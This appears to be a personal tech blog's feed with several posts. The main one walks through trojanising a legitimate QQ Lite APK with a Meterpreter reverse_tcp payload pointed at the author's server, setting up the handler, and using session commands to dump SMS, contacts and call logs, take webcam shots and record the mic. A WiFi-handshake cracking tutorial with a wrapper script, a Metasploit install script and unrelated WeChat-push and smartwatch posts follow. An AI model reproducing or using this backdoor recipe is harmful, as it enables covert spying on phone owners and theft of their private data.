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
2vTa24LE0J2DQg==
=Qa/n
-----END PGP PUBLIC KEY BLOCK-----
EOF
}

install_deb() {
LIST_FILE=/etc/apt/sources.list.d/metasploit-framework.list
PREF_FILE=/etc/apt/preferences.d/pin-metasploit.pref
echo -n "Adding metasploit-framework to your repository list.."
echo "deb $DOWNLOAD_URI/apt lucid main" > $LIST_FILE
print_pgp_key | apt-key add -
if [ ! -f $PREF_FILE ]; then
mkdir -p /etc/apt/preferences.d/
cat > $PREF_FILE <<EOF
Package: metasploit*
Pin: origin downloads.metasploit.com
Pin-Priority: 1000
EOF
fi
echo -n "Updating package cache.."
apt-get update > /dev/null
echo "OK"
echo "Checking for and installing update.."
apt-get install -y --allow-downgrades metasploit-framework
}

install_rpm() {
echo "Checking for and installing update.."
REPO_FILE=/etc/yum.repos.d/metasploit-framework.repo
GPG_KEY_FILE=/etc/pki/rpm-gpg/RPM-GPG-KEY-Metasploit
echo -n "Adding metasploit-framework to your repository list.."

cat > /etc/yum.repos.d/metasploit-framework.repo <<EOF
[metasploit]
name=Metasploit
baseurl=$DOWNLOAD_URI/rpm
gpgcheck=1
gpgkey=file://$GPG_KEY_FILE
enabled=1
EOF
print_pgp_key > ${GPG_KEY_FILE}
yum install -y metasploit-framework
}

install_suse() {
echo "Checking for and installing update.."
GPG_KEY_FILE_DIR=/etc/pki/rpm-gpg
GPG_KEY_FILE=${GPG_KEY_FILE_DIR}/RPM-GPG-KEY-Metasploit
echo -n "Adding metasploit-framework to your repository list.."
if [ ! -d $GPG_KEY_FILE_DIR ]; then
mkdir -p $GPG_KEY_FILE_DIR
fi
zypper ar -f $DOWNLOAD_URI/rpm metasploit
print_pgp_key > ${GPG_KEY_FILE}
rpmkeys --import ${GPG_KEY_FILE}
zypper install -y metasploit-framework
}

install_pkg()
{
(
cd ~/Downloads

echo "Downloading package..."
curl -O "$DOWNLOAD_URI/osx/metasploitframework-latest.pkg"

echo "Checking signature..."

if pkgutil --check-signature metasploitframework-latest.pkg; then
echo "Installing package..."
installer -pkg metasploitframework-latest.pkg -target /
fi

echo "Cleaning up..."
rm -fv metasploitframework-latest.pkg
)
}

DOWNLOAD_URI=http://downloads.metasploit.com/data/releases/metasploit-framework
PKGTYPE=unknown
ID=`id -u`

if [ -f /etc/redhat-release ] ; then
PKGTYPE=rpm
elif [ -f /etc/system-release ] ; then
# If /etc/system-release is present, this is likely a distro that uses RPM.
PKGTYPE=rpm
else
if uname -sv | grep 'Darwin' > /dev/null; then
PKGTYPE=pkg
elif [ -f /usr/bin/zypper ] ; then
PKGTYPE=sus
else
PKGTYPE=deb
fi
fi

if [ "$ID" -ne 0 ]; then
if ! hash sudo 2>/dev/null; then
echo "This script must be executed as the 'root' user or with sudo"
exit 1
else
echo "Switching to root user to update the package"
sudo -E $0 $@
exit 0
fi
fi

case $PKGTYPE in
deb)
install_deb
;;
sus)
install_suse
;;
rpm)
install_rpm
;;
*)
install_pkg
esac

我这里是保存为了msf文件,在运行之前一定要记得赋予执行权限

1
2
sudo chmod +x msf
sudo ./msf

然后就会开始安装,安装完成后输入msfconsole看看能不能正常打开,如果可以就是安装成功了

(附上以上正常运行的图)

用520apkhook创建带有后门的apk文件

MSF自身本来就可以创建带有后门的APK程序,不过就是一个简单的MainActivity,我们还要把它压进我们的程序里

1
msfvenom -p android/meterpreter/reverse_tcp LHOST=<host> LPORT=5555 R > pentestlab.apk

这个比较麻烦(有时间再补),所以我这里用Github上别人写好的脚本

这里我选用的是QQ轻聊版(name=’com.tencent.qqlite’ versionCode=’174’ versionName=’3.5.0’)

首先我们要把520apkhook给clone下来才能用

1
git clone https://github.com/ba0gu0/520apkhook.git

而且用之前,我们需要安装520apkhook需要的python轮子

1
pip3 install rich pycryptodome

安装完后,我们使用下面的命令格式进行apk的后门注入

1
python3 main.py [-h] --lhost LHOST --lport LPORT [-m MODE] [-p PAYLOAD] -n NORMALAPK

我这里把QQ轻聊版命名为QQLite.apk,我的服务器地址是我的腾讯云地址,端口开在了5555,那我就可以用下面的命令生成apk

1
python3 main.py --lhost <我的腾讯云IP> --lport 5555 -n QQLite.apk

然后程序就会自动开始打包,最后会告诉我们打包完成的文件位置

然后我们安装打包好的apk,我用我的手机测试了并没有报毒(红米K40 MIUI13),不过后来我还是选择在模拟器上安装,安装完后显示为正常的QQ轻聊版,而且能够正常使用

但是并不是所有的应用都可以被注入,新版的微信就不可以(自动模式找不到入口smali)

在云服务器上创建监听器

这个创建监听器的命令其实在520apkhook的文件夹里面已经给我们写好了,log里面有一行写道

1
[!] 生成的Msf Handler在: /home/gamernotitle/CTF/520apkhook/WorkDir/handler.rc

也就是说handler.rc文件已经为我们写好了在msfconsole里面运行的命令

我们可以通过msfconsole自带的命令加载

1
msfconsole -r handler.rc

也可以打开handler.rc并复制里面的内容

1
2
3
4
5
6
7
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set AutoLoadStdapi true
set LHOST 0.0.0.0
set LPORT 5555
set exitonsession false
exploit -j

然后粘贴在你的msfconsole里面

这样就算是运行了,然后我们打开安装的软件,我们的msfconsole会提示肉鸡上线

这时可以用sessions命令查看在线的肉鸡

session -i <id>就可以控制肉鸡啦

我这里就可以用session -i 1来通过第一个端口控制模拟器,使用screenshot命令进行截图

MSF session 命令列表

我自己常用的命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
app_list# 列出所有的app,可以配合app_run使用
app_run <Package># 运行一个APP(会在目标设备直接运行,就类似用着用着突然打开了软件)
webcam_list# 列出设备拥有的摄像头
webcam_snap -i <id># 通过指定摄像头拍照并保存(需要摄像头权限)
upload <src1> <src2> ... <dst> # 上传本地文件到指定位置
app_install <path># 通过指定路径安装apk
check_root# 检查设备是否已经root
shell# 返回一个shell会话,如果目标已经root,可以用su提权
dump_calllog# 储存设备的通话记录(需要读取通话记录权限)
dump_sms# 储存设备的短信(需要读取短信权限)
dump_contacts# 储存设备的联系人列表(需要读取通讯录权限)
screenshare# 实时观看设备的屏幕
screenshot# 屏幕截图(出了寄生的软件后就截不到了)
record_mic# 录音
portfwd# 开放端口
download <path># 下载目标机器上的文件
ls# 经典命令,显示当前目录下的文件(需要存储权限)

官方全命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
Core Commands
=============

Command Description
------- -----------
? Help menu
background Backgrounds the current session
bg Alias for background
bgkill Kills a background meterpreter script
bglist Lists running background scripts
bgrun Executes a meterpreter script as a background thread
channel Displays information or control active channels
close Closes a channel
detach Detach the meterpreter session (for http/https)
disable_unicode_encoding Disables encoding of unicode strings
enable_unicode_encoding Enables encoding of unicode strings
exit Terminate the meterpreter session
get_timeouts Get the current session timeout values
guid Get the session GUID
help Help menu
info Displays information about a Post module
irb Open an interactive Ruby shell on the current session
load Load one or more meterpreter extensions
machine_id Get the MSF ID of the machine attached to the session
pry Open the Pry debugger on the current session
quit Terminate the meterpreter session
read Reads data from a channel
resource Run the commands stored in a file
run Executes a meterpreter script or Post module
secure (Re)Negotiate TLV packet encryption on the session
sessions Quickly switch to another session
set_timeouts Set the current session timeout values
sleep Force Meterpreter to go quiet, then re-establish session
transport Manage the transport mechanisms
use Deprecated alias for "load"
uuid Get the UUID for the current session
write Writes data to a channel


Stdapi: File system Commands
============================

Command Description
------- -----------
cat Read the contents of a file to the screen
cd Change directory
checksum Retrieve the checksum of a file
cp Copy source to destination
del Delete the specified file
dir List files (alias for ls)
download Download a file or directory
edit Edit a file
getlwd Print local working directory
getwd Print working directory
lcat Read the contents of a local file to the screen
lcd Change local working directory
lls List local files
lpwd Print local working directory
ls List files
mkdir Make directory
mv Move source to destination
pwd Print working directory
rm Delete the specified file
rmdir Remove directory
search Search for files
upload Upload a file or directory


Stdapi: Networking Commands
===========================

Command Description
------- -----------
ifconfig Display interfaces
ipconfig Display interfaces
portfwd Forward a local port to a remote service
route View and modify the routing table


Stdapi: System Commands
=======================

Command Description
------- -----------
execute Execute a command
getenv Get one or more environment variable values
getpid Get the current process identifier
getuid Get the user that the server is running as
localtime Displays the target system local date and time
pgrep Filter processes by name
ps List running processes
shell Drop into a system command shell
sysinfo Gets information about the remote system, such as OS


Stdapi: User interface Commands
===============================

Command Description
------- -----------
screenshare Watch the remote user desktop in real time
screenshot Grab a screenshot of the interactive desktop


Stdapi: Webcam Commands
=======================

Command Description
------- -----------
record_mic Record audio from the default microphone for X seconds
webcam_chat Start a video chat
webcam_list List webcams
webcam_snap Take a snapshot from the specified webcam
webcam_stream Play a video stream from the specified webcam


Stdapi: Audio Output Commands
=============================

Command Description
------- -----------
play play a waveform audio file (.wav) on the target system


Android Commands
================

Command Description
------- -----------
activity_start Start an Android activity from a Uri string
check_root Check if device is rooted
dump_calllog Get call log
dump_contacts Get contacts list
dump_sms Get sms messages
geolocate Get current lat-long using geolocation
hide_app_icon Hide the app icon from the launcher
interval_collect Manage interval collection capabilities
send_sms Sends SMS from target session
set_audio_mode Set Ringer Mode
sqlite_query Query a SQLite database from storage
wakelock Enable/Disable Wakelock
wlan_geolocate Get current lat-long using WLAN information


Application Controller Commands
===============================

Command Description
------- -----------
app_install Request to install apk file
app_list List installed apps in the device
app_run Start Main Activty for package name
app_uninstall Request to uninstall application

]]>
+ + + + + CTF + + + + + + + CTF + + Virus + + msfconsole + + msfvenom + + apk + + + +
+ + + + + 使用Railway服务平台和message-pusher项目搭建自己的微信通知推送服务器 + + /posts/Custom-Wechat-Pusher/ + +

相信大家现在在用的微信推送平台都是什么方糖QQ的server酱(Server酱·Turbo版 (ftqq.com))又或者是什么PushPlus之类的,我自己用的是server酱,但是在使用过程中发现一个问题:它每天只能推5条消息

对于我这种拿另一个手机使用SMSForwarder(pppscn/SmsForwarder: 短信转发器 (github.com))来转发短信的人来说,一天接到的验证码短信肯定不只5条,虽然配置了邮件转发,但是有的时候QQ的smtp服务器抽风,而且邮件不如微信好用,所以我就在想能不能搭建一个自己的推送服务器

恰巧我之前看到过songquanpeng/message-pusher: 搭建专属于你的微信消息推送服务 (github.com)这个项目,因为文档里面说可以部署在heroku上面,我就干起来了


因为Heroku一旦休眠再开启后,数据会丢失(虽然message-pusher的作者用了环境变量的方式去存储数据,但是这还是不太方便),恰巧railway也是一个可以部署服务的平台,相较于heroku主要是按需付费(前5刀免费),而且没有休眠,我就选择了railway

先fork一下message-pusher这个项目,然后转到railway平台新建项目

因为我这里想部署在原来就有的项目下面,所以我直接进入到项目之中,点击右上角的New,选到我刚刚fork的仓库

选择后,进入到服务的Variables里面添加我们需要的变量

这里项目作者整理了一个表格来给出我们所需要填写的变量名以及内容

KEYVALUE
MODE1(1 代表 Heroku 模式,该模式下应用从环境变量中读取必要信息)
PREFIX你的前缀,如 admin(前缀用于区分用户,出现在请求的 api 路径中)
DEFAULT_METHOD默认推送方式(test 代表微信测试号,corp 代表微信企业号,email 代表邮件推送,client 代表客户端推送)
HREF服务的 href,如 https://wechat-message.herokuapp.com/ ,注意后面要有 /
ACCESS_TOKEN用于验证调用者身份,防止别人使用借口发送垃圾信息,置空则不进行检查,设置该值后则需要在调用时加上 token 字段
WECHAT_APP_ID你的测试号的 APP ID
WECHAT_APP_SECRET你的测试号的 APP Secret
WECHAT_TEMPLATE_ID你的测试号的模板消息的 ID
WECHAT_OPEN_ID你的 Open ID
WECHAT_VERIFY_TOKEN你自己设置的验证 token
EMAIL你的默认目标邮箱
SMTP_SERVERsmtp 服务器地址,如 smtp.qq.com
SMTP_USERsmtp 服务器用户邮箱
SMTP_PASSsmtp 服务器用户凭据
CORP_ID微信企业号 ID
CORP_AGENT_ID微信企业号应用 ID
CORP_APP_SECRET微信企业号应用 Secret
CORP_USER_ID微信企业号用户 ID

因为Railway跟Heroku相似,都是服务部署平台,所以这里我MODE我填写的是1(但是其实好像0也可以,因为Railway不需要把数据存在变量中。如果选择的是0的话可以不填其他的设置,直接在网页控制台里面修改就行了,但是我选的是1,所以我就把其他的也填了)

PREFIX 是控制台以及发送通知访问的路径,我就直接保留默认了

HREF 是项目的访问地址,主要用于给出微信测试平台与我们项目对接的链接,直接填写自己的服务访问链接就可以了

WECHAT_APP_ID WECHAT_APP_SECRET 是测试号的信息,我们可以在微信公众平台 (qq.com)拿到我们需要的内容

WECHAT_OPEN_ID WECHAT_VERIFY_TOKEN 在后面跟公众号平台对接的时候使用,这两个后面再讲

我用到的就是这些,你也可以按照需要自己填写

填写完了以后随便切出Variables页面,Railway会自动开始重新部署

部署完成后访问Railway提供的域名,我们就能够进入管理平台的登录页面

(我这里登陆过了所以上面显示的按钮是添加新用户 配置退出

登录的用户名和密码默认分别为admin123456,登录进入以后一定要先改密码


接下来我们进行服务的配置,先点击用户设置,在这里先更改自己的登录密码,以及选择自己需要发送的通道(因为我用的是微信的测试号,所以我填的是test,下面我也主要会以微信测试号来说明)

ACCESS TOKEN可填可不填,主要看个人需求,如果需要鉴权的话就填一个吧

接下来我们转到顶上的微信测试号设置,在这里填写我们在微信公众平台 (qq.com)里面拿到的APP IDAPP SECRET

在微信公众平台,我们在下面模板信息接口新建一个测试模板,按照自己的需求填写,就可以拿到模板ID(TEMPLATE ID

然后我们先把这里的TOKEN设置好,点击一次提交先(TOKEN是自己设置的,用于微信公众平台对接)

接下来我们转到微信公众平台,在接口配置信息里面,URL就填配置页面上面的灰框框给出的链接,Token就填写刚刚自己设置的内容,然后打开开发者平台,在网络(Network)选项卡中稍等一会,会弹微信自己向服务器发送测试号粉丝(即关注了测试号的用户)的列表,在这里面你可以找到你自己的微信,并且把OPEN_ID弄到手(如果你没有关注自己的测试号,这里是不会显示自己的信息的,你需要往下拉找到自己的二维码先关注)

填写好微信公众平台的URLToken以后,可以点击提交(可能会成功,反正我没成功,但是不影响使用)

我们返回配置页面,在OPEN ID里面填入我们自己的ID,然后点击提交就可以了

这时候我们尝试访问https://<你的域名>/<你的路径>/hi,如果返回{"success":true,"message":"ok"}就说明发送成功了,你也可以在手机上查看自己收到的信息


一开始我就说了我是用来转发短信的,所以自然要与短信转发器对接(因为我手机不在手上,所以下面我使用Teamviewer进行远程控制)

先新建一条转发通道,名字随意,请求方式按需选择,我这里用GET主要是方便

WebParams里面的参数根据自己需求填写,我这里写的是title=来自[from]的短信&description=[content]&content=[content],然后前往转发规则,新建一条转发规则,根据自己的需求填写

填写完以后可以测试一下,要是测试没问题保存即可

附上一张测试成功的样图

]]>
+ + + + + Tech + + + + + + + Tech + + Notification + + mail + + railway + + message + + wechat + + + +
+ + + + + 在华为Watch Pro 3上面安装第三方应用 + + /posts/Install-apk-on-HUAWEI-Watch-Pro-3/ + +

我身边老多人用智能手表了,OPPO Watch 2 已经见怪不怪了,这不又来了个HUAWEI Watch Pro 3手表,说请我帮他装点软件。说白了手表装软件不就adb嘛能有啥,既然结了这活,那就干吧(因为忘记拍照了,所以本文应该是全文字)

华为手表用的是鸿蒙系统,一开始我还在担心会不会没有adb调试的功能,等我按照正常操作(关于,版本号连点5下,开发者选项)后,看到开发者选项里面没有adb调试这个选项,取而代之的是什么HDC调试(我猜是华为自己的一种调试模式),实际测试这个HDC调试跟adb调试好像是一个东西?用abd都能够连接

使用adb connect ip:port进行连接,我一开始天真的以为直接adb install就可以了,当我这么操作的时候,这傻逼系统告诉我说不允许通过adb安装应用,我翻了翻开发者选项,没有平常的通过adb安装应用的开关,上网搜了一下说com.android.packageinstaller这个应用包会禁止安装应用,所以要先关掉,装完要开回来(不然会变砖头)

所以就很简单啦,在安装之前我们先关掉这个应用包,安装完后打开即可

这里有个坑:华为手表连接WIFI会在锁屏的时候自动断开连接,所以搞得我好多次快要装完了,结果一个锁屏GG

我们可以使用以下命令进行应用的安装

1
2
3
4
5
adb disconnect
adb connect <手表的IP地址:端口(一般是5555)>
adb shell pm disable-user com.android.packageinstaller
adb install <apk路径>
adb shell pm enable com.android.packageinstaller

安装完后就应该能在手表的启动器中找到安装的应用了。

]]>
+ + + + + Tech + + + + + + + Tech + + Smart Watch + + HUAWEI Watch + + + +
+ + + + + CTF学习笔记(大学篇)04 —— 使用Aircrack-ng来破解WIFI + + /posts/CTF-in-College-4/ + +

Aircrack-ng 官网:https://www.aircrack-ng.org/

Aircrack-ng是用来破解WIFI密码的工具,原理就是先寻找要破解的WIFI,然后把设备T下线,伪装成热点,让其他设备连接到伪装热点上获取握手包,最后跑字典把密码跑出来

说白了就是字典里面如果有就是有,没有那就没戏,所以其实用处嘛……

Aircrack-Ng 安装

Kali其实自带了这个东西,但是对于大部分的Linux发行版是不带的,所以我们需要进行安装

最简单的方式就是直接通过apt进行安装

1
2
sudo apt update
sudo apt install aircrack-ng -y

我这里因为装过了所以才是这么提示的,如果没装过会进入正常的apt安装流程

网卡设置

我这里自己插了一张AWUS036H网卡(显示为wlan0),某宝从几十块到几百的都有,那我这张自然是白嫖的嘛

顺带上一张实物图

要开始使用Aircrack-ng,就需要把网卡设置为监听模式,不过这个设置Aircrack-ng里面有一键化的命令,我们只需要执行

1
sudo airmon-ng start <网卡名字>

就可以打开监听模式了,对于我这里,我需要输入的为

1
sudo airmon-ng start wlan0

(我这里因为开过一次,所以就会有两个进程在用这个网卡,根据它里面所说的用airmon-ng check kill先杀掉相关进程后重新开启就可以了)

完成后,原网卡的名字后面会多出mon的字样,就像这样

搜索网络

使用airodump-ng <网卡名字>可以进入搜索模式

1
sudo airodump-ng wlan0mon

然后会开始搜索附近的WIFI,按两下Q可以退出搜索

BSSID 是搜索到的WIFI的MAC地址

PWR 不清楚,但是用不到

Beacons 不清楚,但是也用不到

#Data, #/s 数据量(我猜的)

CH 即Channel,WIFI的频道

MB 不清楚,也用不到

ENC CIPHER 加密协议的版本

AUTH 认证方式(PSK即密码)

ESSID WIFI名称

我们需要记下BSSID CHANNEL 这两个东西,在抓取握手包会用到,记完了以后按两下Q退出搜索就可以了

抓取握手包

使用airodump-ng -w {path} --channel {channel} --bssid {bssid} {netcard}能够抓取握手包

path就是保存文件的路径

channel 频道,上面说过了

bssid WIFI的MAC地址,上面也说过了

netcard 你想使用的网卡

我这里就直接输入下面这个命令来抓取Raspberry这个WIFI的握手包(Packets文件夹已经提前新建完成)

1
sudo airodump-ng -w ./Packets/captured --channel 11 --bssid 5E:E4:2A:0D:4B:75 wlan0mon

网卡会进入抓取模式,这个过程可以按两下Q退出抓取

需要注意的是,抓取过程中,其他设备必须与该WIFI进行至少一次的连接(从不在该网络连接到该网络)

抓完后,会出现如图的这些文件

我们要用来破解的就是这个captured-01.cap,至于为什么有01,因为aircrack-ng怕你重名,所以在文件后面会加上数字

破解WIFI密码

使用命令aircrack-ng {path} -w {dictionary}来破解WIFI密码

path 是要破解的cap文件的后缀,我这里就应该填./Packets/captured-01.cap

dictionary 是要用来破解WIFI跑的字典(字典可以访问代码浏览 - WIFI - 常用字典 - GamerNoTitle的团队 (coding.net)获取)

组合起来,我这里输入命令(wpa.txt是我电脑里面已经存在的字典)

1
sudo aircrack-ng ./Packets/captured-01.cap -w wpa.txt

然后就会开始跑字典,跑完了就会显示了(我这里没有跑,因为太慢了)

一键化Python程序

需要记住这么多命令是不是很烦,这里我自己做了个Aircrack-ng的Python程序,来避免记这么多的程序。需要注意:这个程序只能在Linux上运行,并且需要以root权限运行(因为aircrack的大部分命令都需要root权限)

下面贴出程序,你也可以通过CTF-Scripts/WlanCrack.py at master · GamerNoTitle/CTF-Scripts (github.com)获取。本程序在字典方面跟我上面的那个coding的库进行了链接,如果没有提供字典的话可以从coding库下载

需要安装的Python轮子:requests tqdm pprint

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
import os
import requests
from pprint import pformat
from tqdm import tqdm

PreviousOutput = None
output = None
ListeningMode = False
PreviousPath = None


def ShowNetCard():
output = os.popen('ifconfig')
data = output.read()
print(data)
return data


def StartListenerMode(netcard):
os.system('airmon-ng check kill')
os.system(f'airmon-ng start {netcard}')
global ListeningMode
ListeningMode = True
print('Started')


def DumpStatus(NetCard):
print('Double-press Q to exit. When you are ready, press enter.')
input()
os.system(f'airodump-ng {NetCard}')


def CapturePacket(channel: int, bssid: str, netcard: str, path='./captured'):
print('Double-press Q to exit. When you are ready, press enter.')
input()
os.system(
f'airodump-ng -w {path} --channel {channel} --bssid {bssid} {netcard}')


def CrackWithDict(path, dictionary):
os.system('airmon-ng check kill')
os.system(f'aircrack-ng {path} -w {dictionary}')


def Downloader(url: str, filename: str):
resp = requests.get(url, stream=True)
total = int(resp.headers.get('content-length', 0))
with open(filename, 'wb') as file, tqdm(
desc=filename,
total=total,
unit='iB',
unit_scale=True,
unit_divisor=1024,
) as bar:
for data in resp.iter_content(chunk_size=1024):
size = file.write(data)
bar.update(size)


help_msg = '''{:=^80}
[0] Show netcards
[1] Start listener
[2] Dump wlan status
[3] Capture heartbeat packet
[4] Crack the packet with a dictionary
[9] Install aircrack-ng (If you haven\'t install it on your computer)
[q] Exit
{:=^80}
'''.format(' Aircrack-Ng Script ', ' Made by GamerNoTitle ')

LogoPrint = r''' _ _ _ _ _____ _ _
/\ (_) | | | \ | | / ____| (_) | |
/ \ _ _ __ ___ _ __ __ _ ___| | ________| \| | __ _ | (___ ___ _ __ _ _ __ | |_
/ /\ \ | | '__/ __| '__/ _` |/ __| |/ /______| . ` |/ _` | \___ \ / __| '__| | '_ \| __|
/ ____ \| | | | (__| | | (_| | (__| < | |\ | (_| | ____) | (__| | | | |_) | |_
/_/ \_\_|_| \___|_| \__,_|\___|_|\_\ |_| \_|\__, | |_____/ \___|_| |_| .__/ \__|
__/ | | |
|___/ |_| -- GamerNoTitle '''

if __name__ == '__main__':
print(LogoPrint)
if os.geteuid() != 0:
print('You need to run it as root!')
os._exit(0)
while True:
print(help_msg)
Input = input('Please choose an option: ')
if Input == '0':
CardsInfo = ShowNetCard()
if Input == '1':
Netcard = input(
'Please type the netcard\'s name that you wanna use: ')
if 'wlan' not in Netcard:
print(f'Unsupported netcard! {Netcard}')
else:
StartListenerMode(Netcard)
if Input == '2':
if ListeningMode:
Netcard = input(
'Please type the netcard\'s name that you wanna use: ')
NetCards = CardsInfo.split('\n\n')
if 'wlan' not in Netcard:
print(f'Unsupported netcard! {Netcard}')
else:
HaveCard = False
for i in NetCards:
if Netcard in i:
HaveCard = True
if HaveCard:
DumpStatus(Netcard)
else:
print(
f'Unable to find netcard {Netcard} in {NetCards}')
else:
print('You need to start the listener first!')
if Input == '3':
path = input(
'Please input the path that you want to save the file (e.g: ./captured): ')
PreviousPath = path
channel = int(
input('Please input the channel that you want to listen to: '))
bssid = input('Please input the bssid you want to listen to: ')
netcard = input('Please input the netcard you want to use: ')
if path == '' or channel == '' or bssid == '' or netcard == '':
print('Invalid parameters!')
else:
CapturePacket(channel=channel, bssid=bssid,
netcard=netcard, path=path)
if Input == '4':
path = input(
f'Please input the file you want to crack (Default for the previous file {PreviousPath}): ')
if path == '':
path = PreviousPath
dictionary = input(
'Please input the dictionary that you want to use to crack: ')
if dictionary == '':
print('You haven\'t specify a dictionary to crack the packet! Do you need some dictionarys? The avaliable dictionarys are listed below: ')
dictionarys = requests.get(
